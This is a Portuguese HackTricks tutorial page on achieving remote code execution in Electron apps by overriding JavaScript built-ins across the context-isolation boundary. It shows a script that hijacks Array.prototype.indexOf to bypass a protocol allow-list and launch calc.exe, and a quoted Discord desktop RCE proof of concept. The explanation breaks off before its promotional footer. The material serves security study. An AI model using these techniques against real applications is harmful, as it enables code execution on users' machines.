5.9 KiB
Execução remota de código (RCE) via contexto de isolamento do Electron
Aprenda hacking na AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.
Exemplo 1
Este código abre links http(s) com o navegador padrão:
Algo como file:///C:/Windows/systemd32/calc.exe
poderia ser usado para executar uma calculadora, o SAFE_PROTOCOLS.indexOf
está impedindo isso.
Portanto, um atacante poderia injetar este código JS via XSS ou navegação arbitrária na página:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
Como a chamada para SAFE_PROTOCOLS.indexOf
sempre retornará 1337, o atacante pode contornar a proteção e executar a calculadora. Exploit final:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Verifique os slides originais para outras maneiras de executar programas sem precisar de uma solicitação de permissão.
Aparentemente, outra maneira de carregar e executar código é acessar algo como file://127.0.0.1/electron/rce.jar
Exemplo 2: Discord App RCE
Exemplo de https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Ao verificar os scripts de pré-carregamento, descobri que o Discord expõe a função, que permite que alguns módulos permitidos sejam chamados via DiscordNative.nativeModules.requireModule('NOME-DO-MÓDULO')
, na página da web.
Aqui, não pude usar módulos que podem ser usados para RCE diretamente, como o módulo child_process, mas encontrei um código onde RCE pode ser alcançado substituindo os métodos JavaScript integrados e interferindo na execução do módulo exposto.
A seguir está a PoC. Consegui confirmar que o aplicativo calc é aberto quando eu chamo a função getGPUDriverVersions
que está definida no módulo chamado "discord_utils" no devTools, enquanto substituo o RegExp.prototype.test
e Array.prototype.join
.
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
A função getGPUDriverVersions
tenta executar o programa usando a biblioteca "execa", como mostrado abaixo:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Normalmente, o execa tenta executar "nvidia-smi.exe", que é especificado na variável nvidiaSmiPath
, no entanto, devido à substituição de RegExp.prototype.test
e Array.prototype.join
, o argumento é substituído por "calc" no processamento interno do _execa_**.
Especificamente, o argumento é substituído alterando as seguintes duas partes.
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.